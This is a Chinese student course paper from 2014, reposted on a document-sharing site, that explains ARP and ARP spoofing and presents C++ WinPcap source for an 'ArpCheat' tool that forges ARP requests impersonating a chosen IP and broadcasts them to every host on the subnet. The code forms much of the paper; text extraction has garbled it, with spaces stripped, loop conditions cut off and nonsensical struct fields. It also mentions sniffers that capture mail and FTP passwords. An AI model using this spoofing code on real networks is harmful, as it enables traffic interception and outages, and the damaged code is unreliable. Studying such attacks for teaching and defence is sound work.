网络安全技术论文 1.docx
《网络安全技术论文 1.docx》由会员分享,可在线阅读,更多相关《网络安全技术论文 1.docx(26页珍藏版)》请在冰豆网上搜索。
![网络安全技术论文 1.docx](https://file1.bdocx.com/fileroot1/2022-11/24/c893891b-ed7c-492f-936e-9d13f1965923/c893891b-ed7c-492f-936e-9d13f19659231.gif)
网络安全技术论文1
《网络安全技术》课程期末考核(论文)
题目名称:
Arp欺骗程序的实现
院系名称:
计算机学院
班级:
网络122
学号:
201200824208
学生姓名:
简进祥
授课教师:
倪亮
2014年12月
目录
1.前言2
1.1ARP简介2
1.2课程研究目的和意义2
2.需求分析3
3.开发环境及程序框架4
3.1开发环境4
3.2程序框架4
3.2实现设计的内容5
4.安装WinPcap6
4.1WinPcap简介6
4.2WinPcap功能7
4.1WinPcap安装7
5.程序主要代码11
5.1主程序代码11
6.程序的运行16
6.1程序运行过程16
7.总结18
7.1程序总结18
1.前言
1.1ARP简介
ARP(AddressResolutionProtocol,地址解析协议)是获取物理地址的一个TCP/IP协议。
某节点的IP地址的ARP请求被广播到网络上后,这个节点会收到确认其物理地址的应答,这样的数据包才能被传送出去。
ARP(是一个位于TCP/IP协议)栈中的底层协议,对应于数据链路层,负责将某个IP地址解析成对应的MAC地址。
ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。
ARP是一种将IP地址转化成物理地址的协议。
从IP地址到物理地址的映射有两种方式:
表格方式和非表格方式。
ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
1.2课程研究目的和意义
ARP欺骗是黑客黑客常用的攻击手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。
它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。
第二种ARP欺骗的原理是——伪造网关。
它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。
在PC看来,就是上不了网了,“网络掉线了”。
一般来说,ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。
有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。
而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。
为此,宽带路由器背了不少“黑锅”。
我们研究的目的就是为了程序实现ARP欺骗,对ARP欺骗进行进一步的认识并提出防范。
2.需求分析
现在的网络已经越来越不安全了,ARP欺骗也越来越多,而ARP欺骗带来的问题也随之增多。
我们要学会解决这些问题。
ARP的工作原理是首先,每台主机都会在自己的ARP缓冲区中建立一个ARP列表,以表示IP地址和MAC地址的对应关系。
当源主机需要将一个数据包要发送到目的主机时,会首先检查自己ARP列表中是否存在该IP地址对应的MAC地址,如果有﹐就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。
此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。
网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。
如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。
如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
ARP欺骗可以导致目标计算机与网关通信失败;更可怕的是会导致通信重定向,所有的数据都会通过攻击者的机器,因此存在极大的安全隐患。
所以我们要通过学习ARP欺骗来解决和防范ARP欺骗带来的问题。
3.开发环境及程序框架
3.1开发环境
1 、虚拟机安装好Ethereal软件;
2 、虚拟机安装好Ethereal软件;
3 、编译工具VC;
4 、WinPcap软件
3.2程序框架
没有发现网卡
网卡序号超出有效范围
移动到选择的网卡
打开网卡
得到网卡的IP地址
得到子网掩码
不在一个子网
两个IP是否在同一个子网
在一个子网
构建假的ARP请求包
获得网卡的MAC地址
退出
封装ARP请求包
图3.2.1程序框架
3.2实现设计的内容
1.理解ARP欺骗原理,利用WinPcap实现ARP欺骗。
2.用程序对局域网内任一主机实现ARP欺骗,使其IP及MAC信息在别的主机的ARP缓存中被更改。
4.安装WinPcap
4.1WinPcap简介
winpcap(windowspacketcapture)是windows平台下一个免费,公共的网络访问系统。
开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
WinPcap是用于网络封包抓取的一套工具,可适用于32位的操作平台上解析网络封包,包含了核心的封包过滤,一个底层动态链接库,和一个高层系统函数库,及可用来直接存取封包的应用程序界面。
Winpcap是一个免费公开的软件系统。
它用于windows系统下的直接的网络编程。
大多数网络应用程序访问网络是通过广泛使用的套接字。
这种方法很容易实现网络数据传输,因为操作系统负责底层的细节(比如协议栈,数据流组装等)以及提供了类似于文件读写的函数接口。
但是有时,简单的方法是不够的。
因为一些应用程序需要一个底层环境去直接操纵网络通信。
因此需要一个不需要协议栈支持的原始的访问网络的方法。
Winpcap提供了一个强大的编程接口,它很容易地在各个操作系统之间进行移植,也很方便程序员进行开发。
终端中依次执行以下命令,即可自动安装相应的软件功能模块。
Winpcap是一个Win32平台下用于抓包和分析的系统。
包括一个内核级别的packetfilter,一个底层的DLL(packet.dll)和一个高级的独立于系统的DLL(Wpcap.dll)。
4.2WinPcap功能
1.捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据包;
2.在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉;
3.在网络上发送原始的数据包;
4.收集网络通信过程中的统计信息。
winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据包。
也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据包的发收,它仅仅只是监听共享网络上传送的数据包。
因此,它不能用于QOS调度程序或个人防火墙。
目前,winpcap开发的主要对象是windowsNT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows95/98/Me,并且MS也已经放弃了对win9x的开发。
因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。
其实winpcap中的面向9x系统的概念和NT系统的非常相似,只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。
有个软件叫snifferpro.可以作网管软件用,有很多功能,可监视网络运行情况,每台网内机器的数据流量,实时反映每台机器所访问IP以及它们之间的数据流通情况,可以抓包,可对过滤器进行设置,以便只抓取想要的包,比如POP3包,smtp包,ftp包等,并可从中找到邮箱用户名和密码,还有ftp用户名和密码。
它还可以在使用交换机的网络上监听,不过要在交换机上装它的一个软件。
还有一个简单的监听软件叫Passwordsniffer,可截获邮箱用户名和密码,还有ftp用户名和密码,它只能用在HUB网络上。
著名软件tcpdump及idssnort都是基于libpcap编写的,此外Nmap扫描器也是基于libpcap来捕获目标主机返回的数据包的。
winpcap提供给用户两个不同级别的编程接口:
一个基于libpcap的wpcap.dll,另一个是较底层的packet.dll。
对于一般的要与unix平台上libpcap兼容的开发来说,使用wpcap.dll是当然的选择。
4.1WinPcap安装
1.打开WinPcap4.1.2Beta4.exe文件,出现如下界面:
2.WinPcap4.1.2Beta4.exe安装完后出现如下界面:
3.解压WpdPack到WinPcap4.1Beta4安装路径下。
4.添加头文件和lib文件到该程序中。
具体方法:
(1).点击项目属性,在c/c++常规的附加包含目录那导入wpdpack中的Include的电脑所在目录。
(2).点击项目属性,在链接器常规中的附加库目录导入wpdpack中的Lib的电脑所在目录。
5.程序主要代码
5.1主程序代码
//
//ArpCheat.cpp
#include"stdafx.h"
#include
#include"arpcheat.h"
#include\WpdPack\Include\pcap.h>
//#include"remote-ext.h"
#include
#include\WpdPack\Include\Packet32.h>
#include\WpdPack\Include\Ntddndis.h>
//#include"remote-ext.h"
#pragmacomment(lib,"wpcap.lib")
#pragmacomment(lib,"ws2_32.lib")
#definePCAP_SRC_IF_STRING
intmain(intargc,char*argv[]){
pcap_if_t*alldevs;//全部网卡列表
pcap_if_t*d;//一个网卡
intinum;//用户选择的网卡序号
inti=0;//循环变量
pcap_t*adhandle;//一个pcap实例
charerrbuf[PCAP_ERRBUF_SIZE];//错误缓冲区
unsignedchar*mac;//本机MAC地址
unsignedchar*packet;//ARP包
unsignedlongfakeIp;//要伪装成的IP地址
pcap_addr_t*pAddr;//网卡地址
unsignedlongip;//IP地址
unsignedlongnetmask;//子网掩码
if(argc!
=2){
printf("Usage:
%sinet_addr\n",argv[0]);
return-1;
}
//从参数列表获得要伪装的IP地址
fakeIp=inet_addr(argv[1]);
if(INADDR_NONE==fakeIp){
fprintf(stderr,"InvalidIP:
%s\n",argv[1]);
return-1;
}
/*获得本机网卡列表*/
if(pcap_findalldevs(&alldevs,errbuf)==-1)
{
fprintf(stderr,"Errorinpcap_findalldevs:
%s\n",errbuf);
exit
(1);
}
/*打印网卡列表*/
for(d=alldevs;d;d=d->next)
{
printf("%d",++i);
if(d->description)
printf(".%s\n",d->description);
else
printf(".Nodescriptionavailable\n");
}
//如果没有发现网卡
if(i==0)
{
printf("\nNointerfacesfound!
MakesureWinPcapisinstalled.\n");
return-1;
}
//请用户选择一个网卡
printf("Entertheinterfacenumber(1-%d):
",i);
scanf("%d",&inum);
//如果用户选择的网卡序号超出有效范围,则退出
if(inum<1||inum>i)
{
printf("\nInterfacenumberoutofrange.\n");
/*Freethedevicelist*/
pcap_freealldevs(alldevs);
return-1;
}
/*移动指针到用户选择的网卡*/
for(d=alldevs,i=0;inext,i++);
mac=GetSelfMac(d->name+8);//+8以去掉"rpcap:
//"
printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X)试图伪装成%s\n",
mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);
/*打开网卡*/
if((adhandle=pcap_open(d->name,//nameofthedevice
65536,//portionofthepackettocapture
1,//openflag
1000,//readtimeout
NULL,//authenticationontheremotemachine
errbuf//errorbuffer
))==NULL)
{
fprintf(stderr,"\nUnabletoopentheadapter.%sisnotsupportedbyWinPcap\n",
d->name);
/*Freethedevicelist*/
pcap_freealldevs(alldevs);
return-1;
}
for(pAddr=d->addresses;pAddr;pAddr=pAddr->next){
//得到用户选择的网卡的一个IP地址
ip=((structsockaddr_in*)pAddr->addr)->sin_addr.s_addr;
//得到该IP地址对应的子网掩码
netmask=((structsockaddr_in*)(pAddr->netmask))->sin_addr.S_un.S_addr;
if(!
ip||!
netmask){
continue;
}
//看看这个IP和要伪装的IP是否在同一个子网
if((ip&netmask)!
=(fakeIp&netmask)){
continue;//如果不在一个子网,继续遍历地址列表
}
unsignedlongnetsize=ntohl(netmask);//网络中主机数
unsignedlongnet=ip&netmask;//子网地址
for(unsignedlongn=1;n//第i台主机的IP地址,网络字节顺序
unsignedlongdestIp=net|htonl(n);
//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
packet=BuildArpPacket(mac,fakeIp,destIp);
if(pcap_sendpacket(adhandle,packet,60)==-1){
fprintf(stderr,"pcap_sendpacketerror.\n");
}
}
}
return0;
}
/**
*获得网卡的MAC地址
*pDevName网卡的设备名称
*/
unsignedchar*GetSelfMac(char*pDevName){
staticu_charmac[6];
memset(mac,0,sizeof(mac));
LPADAPTERlpAdapter=PacketOpenAdapter(pDevName);
if(!
lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
returnNULL;
}
PPACKET_OID_DATAOidData=(PPACKET_OID_DATA)malloc(6+sizeof(PACKET_OID_DATA));
if(OidData==NULL)
{
PacketCloseAdapter(lpAdapter);
returnNULL;
}
//
//RetrievetheadapterMACqueryingtheNICdriver
//
OidData->Oid=OID_802_3_CURRENT_ADDRESS;
OidData->Length=6;
memset(OidData->Data,0,6);
BOOLEANStatus=PacketRequest(lpAdapter,FALSE,OidData);
if(Status)
{
memcpy(mac,(u_char*)(OidData->Data),6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);
returnmac;
}
/**
*封装ARP请求包
*source_mac源MAC地址
*srcIP源IP
*destIP目的IP
*/
unsignedchar*BuildArpPacket(unsignedchar*source_mac,
unsignedlongsrcIP,unsignedlongdestIP)
{
staticstructarp_packetpacket;
//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_mac,0xFF,6);
//源MAC地址
memcpy(packet.eth.source_mac,source_mac,6);
//上层协议为ARP协议,0x0806
packet.eth.eh_type=htons(0x0806);
//硬件类型,Ethernet是0x0001
packet.arp.hardware_type=htons(0x0001);
//上层协议类型,IP为0x0800
packet.arp.protocol_type=htons(0x0800);
//硬件地址长度:
MAC地址长度为0x06
packet.arp.add_len=0x06;
//协议地址长度:
IP地址长度为0x04
packet.arp.pro_len=0x04;
//操作:
ARP请求为1
packet.arp.option=htons(0x0001);
//源MAC地址
memcpy(packet.arp.sour_addr,source_mac,6);
//源IP地址
packet.arp.sour_ip=srcIP;
//目的MAC地址,填充0
memset(packet.arp.dest_addr,0,6);
//目的IP地址
packet.arp.dest_ip=destIP;
//填充数据,18B
memset(packet.arp.padding,0,18);
return(unsignedchar*)&packet;
}
//ArpCheat.h
//字节对齐必须是1
#pragmapack
(1)
structethernet_head
{
unsignedchardest_mac[6];//目标主机MAC地址
unsignedcharsource_mac[6];//源端MAC地址
unsignedshorteh_type;//以太网类型
};
structarp_head
{
unsignedshorthardware_type;//硬件类型:
以太网接口类型为1
unsignedshortprotocol_type;//协议类型:
IP协议类型为0X0800
unsignedcharadd_len;//硬件地址长度:
MAC地址长度为6B
unsignedcharpro_len;//协议地址长度:
IP地址长度为4B
unsignedshortoption;//操作:
ARP请求为1,ARP应答为2
unsignedcharsour_addr[6];//源MAC地址:
发送方的MAC地址
unsignedlongsour_ip;//源IP地址:
发送方的IP地址
unsignedchardest_addr[6];//目的MAC地址:
ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
unsignedlongdest_ip;//目的IP地址:
ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
unsignedcharpadding[18];
unsignedcharPCAP_SRC_IF_STRING;
unsignedcharpacp_findalldevs_ex;
unsignedcharpcap_open;
};
structarp_packet//最终arp包结构
{
ethernet_headeth;//以太网头部
arp_headarp;//arp数据包头部
};
#pragmapack()
/**
*获得网卡的MAC地址
*pDevName